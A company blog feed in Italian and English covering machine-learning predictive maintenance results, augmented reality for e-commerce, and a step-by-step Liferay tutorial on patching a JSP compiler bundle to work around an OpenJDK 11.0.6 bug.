Sono stati addestrati e testati alcuni algoritmi candidati per il task da svolgere.

Dopo ogni addestramento è fondamentale valutare le prestazioni del modello ottenuto. Questo per paragonare sia diversi algoritmi tra loro, sia diversi configurazioni di addestramento dello stesso algoritmo, e individuare lo strumento che lavora meglio su quel preciso task.
Per svolgere queste valutazioni si fa uso di tutta una serie di metriche e grafici, che mostrano quanto bene il modello in questione sia in grado di svolgere il compito per cui è stato addestrato.

Nel caso in esame possiamo vedere a titolo di esempio i risultati della valutazione svolta in merito al task di previsione se entro una certa finestra temporale si potrebbe verificare un guasto.
In particolare i risultati fanno riferimento all'addestramento di un Light Gradient Boost Machine Classifier con finestra temporale fissata a 30 minuti.

Figura 9 - Metriche di valutazione

La colonna holdout score mostra i valori per le metriche che riguardano le prestazioni del modello sul test set.
Riscontriamo un'accuratezza totale del 98,6%, con valori di Precision e Recall anch'essi molto alti, che denotano delle prestazioni soddisfacenti per il modello in questione.

Per una visione più approfondita vediamo anche la matrice di confusione, che permette di visualizzare falsi positivi e falsi negativi, mettendo in relazione le etichette reali con i valori previsti dal modello.

Figura 10 - Matrice di confusione

Dalla matrice di confusione si riscontra che:

nel 92,7% dei casi se siamo vicini a un possibile guasto il sistema è in grado di prevederlo correttamente, mentre nel 7,3% dei casi non è in grado di segnalarlo;
il 98,2% delle volte che viene segnalato un possibile imminente guasto questo accadrà realmente, mentre nel 1,8% dei casi si tratterà di un falso allarme.

Conclusioni

Le tecniche di applicazione illustrate rappresentano una possibile strategia di azione per realizzare, attraverso il machine learning, dei sistemi in grado di supportare la manutenzione predittiva.
Per esempio, un sistema in grado di prevedere se un guasto si potrebbe verificare entro 30 minuti, potrebbe essere utilizzato per installare su un macchinario un semaforo che segnalerà, qualora il sistema lo preveda, possibili guasti imminenti.

Questo rappresenta solo un esempio di come il machine learning e più in generale l'intelligenza artificiale possono aiutare quello che è il processo produttivo e decisionale all'interno dell'ambiente industriale.
In linea con la trasformazione verso la cosiddetta Industria 4.0, il machine learning rivestirà negli anni a venire un ruolo fondamentale per la crescita e la capacità delle industrie di rimanere al passo con i tempi.

Vuoi scoprire come utilizzare il Machine Learning per ottimizzare i tuoi processi produttivi?

Contattaci ora

Le sfide dell'AR nell'E–Commerce

Tue, 12 May 2020 00:00:00 GMT

I lockdown sanitari stanno costringendo milioni di persone a casa in tutto il mondo. I negozi ormai sono vuoti o chiusi, se non per prime necessità. Tutto ciò sta facendo pensare ad una imminente crisi, soprattutto riguardante la grande distribuzione e la vendita al dettaglio. In tutto ciò, i vari brand si stanno rivolgendo alla tecnologia come strumento per continuare a mantenere una forza vendite, avvicinando le persone.

Dopo il grande cambiamento, avvenuto non pochi anni fa, che ha portato all'affermazione della grande distribuzione organizzata, negli ultimi anni si è parlato molto delle vendite online, che secondo molti avrebbero sostituito anche i grandi centri commerciali.

Nella realtà, nonostante stiano crescendo molto e abbiano già messo in crisi interi settori, le vendite online sono sempre state confinate ad alcune specifiche tipologie di prodotti. Questo perché, nonostante gli e-commerce offrano molte comodità, sono sempre stati considerati più "distanti" rispetto alle loro controparti reali: l'esperienza che può dare un negozio fisico, ad oggi, è molto più potente di quella che comunemente troviamo in un negozio online. Basti pensare ai negozi monomarca, come quelli di Dyson o Apple: l'intero store è progettato per trasferire al cliente il brand, e ogni prodotto può essere percepito, visto e toccato.

È proprio questo che frena l'avanzata delle vendite online: se non ho esperienza tangibile di un prodotto sarò più restio ad acquistarlo online. Non a caso molti negozi nei centri commerciali sono comunque pieni di persone. Capita addirittura che vengano visitati unicamente per avere l'esperienza di discovery e di prova "in mano" dei prodotti, comprando in ultimo luogo la merce su un e-commerce.

Predizione
Entro il 2025 la maggior parte degli acquisti consumer sarà guidata da esperienze immersive online.
Scade tra 1 anno

Visti i recenti avvenimenti tutto ciò è sospeso, e senza ombra di dubbio più limitato in futuro. Come possiamo risolvere ciò? Come possiamo migliorare i negozi online, per renderli altrettanto attraenti quanto i negozi fisici?

Come l'AR aiuta le vendite

Già negli anni passati si dava per sicuro il 2020 come l'anno dell'Augmented Reality, viste le innovazioni tecnologiche avvenute e l'adozione da parte delle maggiori piattaforme Mobile. Sia Apple sia Google stanno investendo molto per standardizzare l'AR all'interno di iOS e di Android, facendo nascere ARKit e ARCore. Apple, secondo alcune indiscrezioni, starebbe addirittura lavorando ad un visore indossabile per realtà aumentata, che consentirà un'immersione e una qualità ancora maggiore. Facebook, nel frattempo, ha permesso di creare campagne di marketing con AR sulle sue piattaforme.

Alla luce dei recenti avvenimenti, non possiamo altro che confermare ancora di più questa previsione. Ma in cosa consiste l'AR, e quali possibilità offre?

L'Augmented Reality è una tecnologia che consente l'arricchimento della realtà con contenuti digitali, come immagini, video o modelli 3d, fondendoli mediante uno schermo o un visore. Ciò consente di collocare elementi nello spazio, permettendo di vederne le dimensioni, girarci attorno e compararli con il resto dell'ambiente reale. Questo permette all'utente di avere un'esperienza e una consapevolezza del prodotto nettamente migliore rispetto alle tradizionali foto, aumentando la fiducia nel prodotto che si sta per acquistare.

Oltre a migliorare questo aspetto, avvicinandosi ai negozi fisici, l'AR fornisce agli utenti delle potenzialità ancora maggiori:

Posso personalizzare il prodotto, vedendolo in centinaia di variazioni, che normalmente non potrebbero esserci nei negozi fisici;
Posso collocare il prodotto in ogni luogo, verificando che le dimensioni siano adatte e che corrisponda nel suo luogo finale;
Posso presentare all'utente dei prodotti in anteprima, non ancora realizzati;
Posso effettuare analitiche avanzate sulle preferenze degli utenti, che sarebbero invece molto difficili da raccogliere in un negozio.

Tutto ciò ha permesso ad IKEA di diventare il primo store di arredamento di successo, arrivando a vendere beni online per 2.9 miliardi nel 2019 (Reuters).

L'app di IKEA con AR Placement

L'Augmented Reality non si ferma all'arredamento e all'elettronica, è facilmente applicabile a molti altri prodotti, come ad esempio l'automotive, o anche l'abbigliamento. In questo caso si parla di Virtual TryOn, e permette di usare il corpo umano come scena per collocare occhiali, scarpe o altro ancora.

Gucci’s new #AR try-on app is pretty cool https://t.co/Qsq4Oybjsf pic.twitter.com/ytXqJdQk4E
— Ricardo 🇭🇰 (@RicO2O) June 28, 2019

Cosa frena la sua adozione?

Alla luce di tutti questi vantaggi, viene naturale chiedersi, perchè non è già in uso ovunque? La risposta è che, purtroppo, allo stato attuale ci sono ancora alcuni punti irrisolti, sia dal punto di vista tecnologico che di design.

Sviluppare esperienze immersive come l'Augmented Reality, soprattutto quando ex–novo, è un cambio di paradigma radicale rispetto al tradizionale sviluppo web, e richiede un intero staff preparato, dagli artisti agli sviluppatori, a sviluppare e gestire contenuti immersivi e 3D. Sappiamo quanto siano rari sviluppatori e artisti capaci di gestire i contenuti 3D, e per questo possiamo dire che trovarli sia un evento quasi come una «congiunzione astrale».

Congiunzione Astrale: figure difficili da trovare

User Coverage

Un altro problema è la gestione della fruizione di questo tipo di esperienze.

Un KPI fondamendale che in SMC usiamo per valutare l'efficacia delle esperienze immersive è il Time to First Experience, ovvero, il tempo che intercorre tra quando scopro l'esistenza di una funzionalità a quando sono competente e soddisfatto nel suo utilizzo. Minimizzando questo tempo possiamo aumentare di molto la retention degli utenti nell'esperienza, visto che ogni secondo in più che l'utente passa ad aspettare, raddoppia la probabilità di uscire dall'applicazione e lasciare perdere.

La Timeline del Time to First Experience

Sappiamo che possiamo gestire il Learn Time, ovvero il tempo che l'utente impiega a imparare come utilizzare l'applicazione, applicando buoni principi di User Experience e UI Design.

Il Setup Time, invece, è un tempo tecnologico, e include lo scaricamento dell'applicazione e il suo caricamento in memoria. Sappiamo come, purtroppo, le app native (per Android e iOS) sono notoriamente difficili da questo punto di vista:

Richiedono del tempo per essere scaricate, dipendente anche dalla rete
Possono essere molti grandi (centinaia di MB), e non tutti gli utenti possono avere lo spazio a disposizione nel proprio device
Non tutti gli utenti sono disposti ad installare una nuova app nel proprio smartphone/tablet

Contenuti

Per realizzare esperienze AR di qualità sono necessari dei contenuti 3D. Trovare persone che siano in grado di creare e gestire contenuti di questo tipo non è affatto semplice.

Se parliamo di un E–Commerce, ad esempio, sono necessari dei modelli 3D che rappresentino i prodotti:

Possono essere realizzati ex novo, partendo da foto, ma è necessario avere degli artisti 3D in grado di farlo;
Possono essere fatti mediante scansione 3D, ma se non realizzata correttamente può portare a performance basse;
Possono essere realizzati partendo dai modelli CAD usati per la produzione, ma vanno corretti per aggiungere i giusti materiali e ottimizzazioni.

A questo si aggiunge il problema della giungla dei diversi formati 3D utilizzati dalle varie piattaforme, non sempre compatibili fra loro.

Come SMC sta Rispondendo

Lo scopo di SMC in questo scenario è quello di cambiare tutto ciò, creando degli strumenti in grado di abilitare i propri clienti a seguire una strategia immersiva, con il minor effort tecnologico possibile.

Il modo in cui stiamo facendo ciò è sviluppare strumenti che abilitino i Redattori, in modo che possano gestire con facilità i contenuti di tipo immersivo.

Ne abbiamo parlato anche al Liferay Italian Symposium 2019.

La soluzione che offriamo prevede un'integrazione completa dei contenuti immersivi con Liferay e Liferay Commerce:

Conversione e Ottimizzazione degli asset in formati standard
Creazione e composizione di contenuti per formare Esperienze Immersive complete
Strumenti totalmente browser–based, che non necessitano di software o app native
Integrazione con servizi, app e social network.

Vuoi scoprire come utilizzare contenuti immersivi sul tuo E-Commerce o sul tuo sito web?

Contattaci ora

Override LPKG

Fri, 01 May 2020 00:00:00 GMT

A few days ago I had the happy idea of updating the version of OpenJDK from 11.0.5 to 11.0.6. It seemed that everything went in the right direction but I was struck by the famous proverb

Don't leave the old road for the new one

When starting Liferay Portal 7.2 GA2 CE here you will see the pretty hateful error indicated below (in console 1).

Caused by: org.apache.jasper.JasperException: PWC6033: Error in Javac compilation for JSP
	at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:655)
	at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:375)
	at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:473)
	at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:377)
	at org.eclipse.equinox.http.servlet.internal.servlet.RequestDispatcherAdaptor.include(RequestDispatcherAdaptor.java:48)
	at deployment.ROOT.war//com.liferay.portlet.internal.PortletRequestDispatcherImpl.dispatch(PortletRequestDispatcherImpl.java:291)
	... 165 more
Caused by: java.lang.RuntimeException: java.lang.NullPointerException: entry

Console 1 - PWC6033 error excerpt for JSP compilation

After some research I discovered that the error is due to a bug (again open) on OpenJDK 11.0.6 [JDK-8237875 (zipfs) Directory Stream entries changed behavior between JDK 11.0.5 and JDK 11.0.6](https://bugs.openjdk.java.net/browse/JDK- 8237875)

Liferay for its part has taken steps to resolve, even quickly, through LPS-107983 - OpenJDK 11.0.6 compatibility problem. This LPS is already closed and solves the problem on the 7.x and master branches.

How can we patch the LPS without waiting for the new GA to come out?

The possible solutions are:

Downgrade OpenJDK to version 11.0.5;
If we have the DXP we are in a position to request support directly from Liferay;
If we have the CE we can apply the patch autonomously.

The first way is not always viable due to the fact that most of the Sometimes the JDK update is one of those components whose update is centralized and we have therefore little room for maneuver.

The second route is easy to follow and usually in a few days gets the Hot Fix.

In order not to miss anything, I would say to choose the third way, which is the most interesting one.

1. How to apply the patch

Let's see how it is possible and simple to apply the patch to Liferay Portal CE. The reference version is Liferay CE Portal 7.2.1 GA2.

How can we apply our Hot Fix also on the CE? The answer it's really simple: Overriding lpkg files.

The bundle we need to patch to (https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch) 84189 is Liferay Portal OSGi Web Servlet JSP Compiler (com.liferay.portal.osgi.web.servlet.jsp.compiler) which is part of the LPKG Liferay CE Static - Impl.lpkg. In this case we can then apply the Overriding lpkg files, even to the Static ones.

The procedure to follow is:

Create the jar format bundle containing the patch;
The bundle name must be the same as the original, minus the version information;
Copy the bundle .jar file to the $LIFERAY_HOME/osgi/static folder;
Remove the contents of the $LIFERAY_HOME/osgi/state directory;
Launch Liferay Portal. Note that every time they add and remove .jars like this, you need to close and restart Liferay Portal for make the changes effective.

If you need to restore your customizations, delete the .jar files replacement: Liferay Portal will use the original .jar file to the next start.

It all seems very clear!

How do we create the new bundle that will contain the LPS-107983 patch? We will see this in the next chapter.

2. How to create the bundle with the patch

To create the new bundle you need the sources and to get them they exist essentially two ways which are:

Clone of the sources of Liferay Portal 7.2.1 GA1 from the GitHub repository;
Obtain the sources from the Maven repository com.liferay.portal.osgi.web.servlet.jsp.compiler version 4.0.14.

The choice of the first road could take a long time because of the clone of the repository which even if executed with the --depth 1 option takes some time.

Personally I chose the second path, which in a few minutes will allow us to get the bundle with the patch. To follow all the necessary steps (and not necessary no IDE). Here is the list of macro tasks:

Creation of a Liferay Workspace via blade;
Creating the directory structure for the portal-osgi-web-servlet-jsp-compiler module;
Copy the sources from the bundle jar downloaded from the Maven repository into the module on Liferay Workspace;
Download the bnd.bnd from the Liferay GitHub repository and place it on the root of the module;
Download the build.gradle from Liferay's GitHub repository and place it on the module root;
Modify the build.gradle to add FileUtil (com.liferay.gradle.util.FileUtil);
Apply the patch 84189;
Build the module;
Make sure the portal is turned off;
Install the module in $LIFERAY_HOME/osgi/static;
Start the portal.

The set of commands shown below carry out steps 1 to 5. If you want save this time too, then you can draw directly on repository that I have prepared for you https://github.com/smclab/apply-lps-107983-openjdk-11-0-6

$ mkdir ~/apply-lps-107983-openjdk-11-0-6
$ cd ~/apply-lps-107983-openjdk-11-0-6
$ blade init -v 7.2
$ mkdir modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler
$ mkdir -p src/main/java
$ mkdir -p src/main/resources
$ cd src/main/java
$ curl https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14-sources.jar | jar xv
$ rm -rf META-INF/
$ mv javax ../resources
$ curl -L -O https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/bnd.bnd
$ curl -L -O build.gradle https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle

Console 2 - Steps needed to prepare the patch bundle

Step 6 requires editing the build.gradle file, this is necessary so that you do not get the error shown below.

Could not compile build file '/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle'.
> startup failed:
  build file '/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle': 1: unable to resolve class com.liferay.gradle.util.FileUtil
   @ line 1, column 1.
     import com.liferay.gradle.util.FileUtil
     ^

Console 3 - Compilation error before modification of build.gradle

To avoid the error, the content must be added to the build.gradle file shown below.

buildscript {
   dependencies {
      classpath group: "com.liferay", name: "com.liferay.gradle.util", version: "1.0.36"
   }

   repositories {
      maven {
         url "https://repository-cdn.liferay.com/nexus/content/groups/public"
      }
   }
}

Listing 1 - Modifying the build.gradle to add the required dependency

At this point we are in a position to apply the patch in the following way.

$ cd ~/apply-lps-107983-openjdk-11-0-6
$ curl -O https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch
$ git apply --verbose 84189.patch

Console 4 - Patching the Liferay sources of the affected bundle

If everything goes as it should, you should see an output similar to the one shown in the following figure.

Figure 1 - Patch application to the Liferay sources of the bundle affected by the bug

Once applied we can proceed with the build of the bundle using the classic build command

$ ./gradlew build

Console 5 - Build of the bundle

With the portal off, we copy the new bundle (without the version) inside of the $LIFERAY_HOME/osgi/static/directory

$ cp modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build/libs/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14.jar /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar

Console 6 - Copy the bundle with patch in $LIFERAY_HOME/osgi/static/

At this point, after deleting the contents of the directory $LIFERAY_HOME/osgi/state/, we start the portal. Watch out for Liferay's logs why you should see the following log lines indicating the happened installation of the new bundle that overrides the existing one.

2020-03-24 22:17:48.836 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:1468] Starting initial bundles
2020-03-24 22:17:49.234 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:952] /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/marketplace/Liferay CE Static - Impl.lpkg:com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.13.jar is overridden by /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar

Log 1 - Liferay start-up log with evidence of the bundle override operation

Once the portal is up and running, deploy any MVC portlet e check that you no longer get compilation errors on the JSPs. Figures a following show the home page of the Liferay portal before and after installation bundle with the patch.

Figure 2 - Portlet in error before without the patch

Figure 3 - Portlet working after installing bundle with patch

In these cases, when we go to patch Liferay components, it is advisable to highlight it, for example with a suitable indication on the Bundle Name.

g! lb com.liferay.portal.osgi.web.servlet.jsp.compiler
START LEVEL 20
   ID|State      |Level|Name
    1|Active     |    6|Liferay Portal OSGi Web Servlet JSP Compiler (SMC - PATCHED-1) (4.0.14)|4.0.14
g!

Console 7 - Access to the Gogo Shell and verification of the new bundle installed

Very well! Now we have our Liferay 7.2 GA2 Portal that works with OpenJDK 11.0.6

3. Conclusions

In this article we have seen how simple it is to apply a patch to a core component of Liferay without the need to wait for the next release. All this is made possible for three simple reasons:

Liferay is Open Source;
Liferay since version 7.0 has adopted in full OSGi, ergo, the welcome to modularity;
Liferay has developed sets of frameworks that facilitate its extension, including the core components of the portal.

Before you throw in the towel when you encounter a problem that may seem insurmountable, I always advise you to consult the documentation of Liferay where in most of you could find the solution to your problem.

Override LPKG

Fri, 01 May 2020 00:00:00 GMT

Qualche giorno addietro ho avuto la felice idea di aggiornare la versione di OpenJDK dalla 11.0.5 alla 11.0.6. Sembrava che tutto filasse per il verso giusto ma sono stato colpito dal famoso proverbio

Non lasciare la vecchia strada per quella nuova

All’avvio di Liferay Portal 7.2 GA2 CE eccoti apparire l'errore abbastanza odioso indicato a seguire (in console 1).

Caused by: org.apache.jasper.JasperException: PWC6033: Error in Javac compilation for JSP
	at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:655)
	at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:375)
	at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:473)
	at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:377)
	at org.eclipse.equinox.http.servlet.internal.servlet.RequestDispatcherAdaptor.include(RequestDispatcherAdaptor.java:48)
	at deployment.ROOT.war//com.liferay.portlet.internal.PortletRequestDispatcherImpl.dispatch(PortletRequestDispatcherImpl.java:291)
	... 165 more
Caused by: java.lang.RuntimeException: java.lang.NullPointerException: entry

Console 1 - Estratto errore PWC6033 per compilazione JSP

Dopo qualche mirata ricerca ho scoperto che l'errore è dovuto ad un bug (ancora aperto) sulla OpenJDK 11.0.6 JDK-8237875 (zipfs) DirectoryStream entries changed behavior between JDK 11.0.5 and JDK 11.0.6

Liferay dal canto suo ha provveduto a risolvere, anche velocemente, tramite LPS-107983 - OpenJDK 11.0.6 compatibility problem. Questa LPS risulta già chiusa e risolve il problema sul branch 7.x e master.

Come possiamo applicare la patch dell'LPS senza aspettare l'uscita della nuova GA?

Le possibili soluzioni sono:

Downgrade di OpenJDK alla versione 11.0.5;
Se disponiamo della DXP siamo nelle condizioni di richiedere supporto direttamente a Liferay;
Se disponiamo della CE possiamo applicare la patch in modo autonomo.

La prima strada non è sempre percorribile a causa del fatto che il più delle volte l’aggiornamento della JDK rientra tra uno di quei componenti il cui aggiornamento è centralizzato e abbiamo per cui poco spazio di manovra.

La seconda strada è semplice da percorre e solitamente in pochi giorni si ottiene la Hot Fix.

Per non farci mancare nulla, direi di scegliere la terza strada, che poi è quella più interessante.

1. Come applicare la patch

Vediamo come sia possibile e semplice applicare la patch a Liferay Portal CE. La versione di riferimento è Liferay Portale CE 7.2.1 GA2.

Come possiamo applicare la nostra Hot Fix anche sulla CE? La risposta è davvero semplice: Overriding lpkg files.

Il bundle a cui dobbiamo applicare la patch 84189 è Liferay Portal OSGi Web Servlet JSP Compiler (com.liferay.portal.osgi.web.servlet.jsp.compiler) che fa parte dell’LPKG Liferay CE Static - Impl.lpkg. In questo caso possiamo quindi applicare l’Overriding lpkg files, anche a quelli Static.

La procedura da seguire è:

Creare il bundle in formato jar contenente la patch;
Il nome del bundle deve essere uguale all'originale, meno le informazioni sulla versione;
Copiare il file .jar del bundle nella cartella $LIFERAY_HOME/osgi/static;
Rimuovere del contenuto della directory $LIFERAY_HOME/osgi/state;
Avviare Liferay Portal. Notare che ogni volta che si aggiungono e rimuovono .jars in questo modo, è necessario chiudere e riavviare Liferay Portal per rendere effettive le modifiche.

Se è necessario ripristinare le personalizzazioni, eliminare i file .jar di sostituzione: Liferay Portal utilizzerà il file .jar originale al successivo avvio.

Sembra tutto molto chiaro!

Come facciamo a creare il nuovo bundle che conterrà la patch dell’LPS-107983? Lo vedremo nel prossimo capitolo.

2. Come creare il bundle con la patch

Per creare il nuovo bundle sono necessari i sorgenti e per ottenerli esistono essenzialmente due modi che sono:

Clone dei sorgenti di Liferay Portal 7.2.1 GA1 dal repository GitHub;
Ottenere i sorgenti dal repository Maven com.liferay.portal.osgi.web.servlet.jsp.compiler versione 4.0.14.

La scelta della prima strada potrebbe richiedere parecchio tempo per via del clone del repository che anche se eseguito con l’opzione --depth 1 richiede del tempo.

Personalmente ho scelto la seconda strada, che in pochi minuti ci consentirà di ottenere il bundle con la patch. A seguire tutti gli step necessari (e non serve nessun IDE). Ecco l'elenco dei macro task:

Creazione di un Liferay Workspace via blade;
Creazione della struttura di directory per il modulo portal-osgi-web-servlet-jsp-compiler;
Copiare dei sorgenti dal bundle jar scaricato dal repository Maven all’interno del modulo su Liferay Workspace;
Scaricare il bnd.bnd dal repository GitHub di Liferay e posizionarlo sulla root del modulo;
Scaricare il build.gradle dal repository GitHub di Liferay e posizionarlo sulla root del modulo;
Modificare il build.gradle per aggiungere FileUtil (com.liferay.gradle.util.FileUtil);
Applicare la patch 84189;
Eseguire la build del modulo;
Accertarsi che il portale sia spento;
Installare il modulo in $LIFERAY_HOME/osgi/static;
Avviare il portale.

Il set di comandi mostrati a seguire realizzano i punti da 1 a 5. Se volete risparmiare anche questo tempo, allora potete attingere direttamente al repository che ho predisposto ad hoc https://github.com/smclab/apply-lps-107983-openjdk-11-0-6

$ mkdir ~/apply-lps-107983-openjdk-11-0-6
$ cd ~/apply-lps-107983-openjdk-11-0-6
$ blade init -v 7.2
$ mkdir modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler
$ mkdir -p src/main/java
$ mkdir -p src/main/resources
$ cd src/main/java
$ curl https://repo1.maven.org/maven2/com/liferay/com.liferay.portal.osgi.web.servlet.jsp.compiler/4.0.14/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14-sources.jar | jar xv
$ rm -rf META-INF/
$ mv javax ../resources
$ curl -L -O https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/bnd.bnd
$ curl -L -O build.gradle https://github.com/liferay/liferay-portal/raw/7.2.1-ga2/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle

Console 2 - Step necessari per prepare il bundle con la patch

Il punto 6 richiede la modifica del file build.gradle, questo è necessario affinché non otteniate l’errore mostrato a seguire.

Could not compile build file '/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle'.
> startup failed:
  build file '/Users/antoniomusarra/Progetti/MyProjects/Liferay/sources/apply-lps-107983-openjdk-11-0-6/modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build.gradle': 1: unable to resolve class com.liferay.gradle.util.FileUtil
   @ line 1, column 1.
     import com.liferay.gradle.util.FileUtil
     ^

Console 3 - Errore di compilazione prima della modifica del build.gradle

Per evitare l’errore occorre aggiungere sul file build.gradle il contenuto mostrato a seguire.

buildscript {
   dependencies {
      classpath group: "com.liferay", name: "com.liferay.gradle.util", version: "1.0.36"
   }

   repositories {
      maven {
         url "https://repository-cdn.liferay.com/nexus/content/groups/public"
      }
   }
}

Listato 1 - Modifica del build.gradle per aggiungere la dipendenza richiesta

A questo punto siamo nelle condizioni di poter applicare la patch nel seguente modo.

$ cd ~/apply-lps-107983-openjdk-11-0-6
$ curl -O https://patch-diff.githubusercontent.com/raw/brianchandotcom/liferay-portal/pull/84189.patch
$ git apply --verbose 84189.patch

Console 4 - Applicazione della patch ai sorgenti Liferay del bundle affetto dal bug

Se tutto va come deve, dovreste vedere un output simile a quello mostrato nella figura seguente.

Figura 1 - Applicazione patch ai sorgenti Liferay del bundle affetto dal bug

Una volta applicate possiamo procedere con la build del bundle utilizzando il classico comando build

$ ./gradlew build

Console 5 - Build del bundle

A portale spento, copiamo il nuovo bundle (senza la versione) all’interno della directory $LIFERAY_HOME/osgi/static/

$ cp modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build/libs/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14.jar /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar

Console 6 - Copia del bundle con la patch in $LIFERAY_HOME/osgi/static/

A questo punto, dopo aver eliminato il contenuto della directory $LIFERAY_HOME/osgi/state, avviamo il portale. Fate attenzione ai log di Liferay perchè dovreste vedere le seguenti righe di log che indicano l’avvenuta installazione del nuovo bundle che va in override all’esistente.

2020-03-24 22:17:48.836 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:1468] Starting initial bundles
2020-03-24 22:17:49.234 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:952] /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/marketplace/Liferay CE Static - Impl.lpkg:com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.13.jar is overridden by /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar

Log 1 - Log di start-up di Liferay con evidenza dell'operazione di override del bundle

Appena il portale è in piedi, eseguite il deploy di una qualunque portlet MVC e verificate di non ottenere più errori di compilazione sulle JSP. Le figure a seguire mostrano la home page del portale Liferay prima e dopo l’installazione del bundle con la patch.

Figura 2 - Portlet in errore prima senza la patch

Figura 3 - Portlet funzionante dopo l'installazione del bundle con la patch

In questi casi, quando andiamo a fare il patch di componenti Liferay, è consigliabile metterlo in evidenza, per esempio con opportuna indicazione sul Bundle Name.

g! lb com.liferay.portal.osgi.web.servlet.jsp.compiler
START LEVEL 20
   ID|State      |Level|Name
    1|Active     |    6|Liferay Portal OSGi Web Servlet JSP Compiler (SMC - PATCHED-1) (4.0.14)|4.0.14
g!

Console 7 - Accesso alla Gogo Shell e verifica del nuovo bundle installato

Benissimo! Adesso abbiamo il nostro Portale Liferay 7.2 GA2 che funziona con OpenJDK 11.0.6

3. Conclusioni

In questo articolo abbiamo visto come sia semplice applicare una patch ad un componente core di Liferay senza la necessità di attendere la prossima release. Tutto questo è reso possibile per tre semplici motivi:

Liferay è Open Source;
Liferay dalla versione 7.0 ha adottato in toto OSGi, ergo, il benvenuto alla modularità;
Liferay ha sviluppato in set di framework che ne facilitano l'estensione, anche dei componenti core del portale.

Prima di buttare la spugna quanto incontrate un problema che potrebbe sembrare insormontabile, vi consiglio sempre di consultare la documentazione di Liferay dove nella maggior parte dei potreste trovare la soluzione al vostro problema.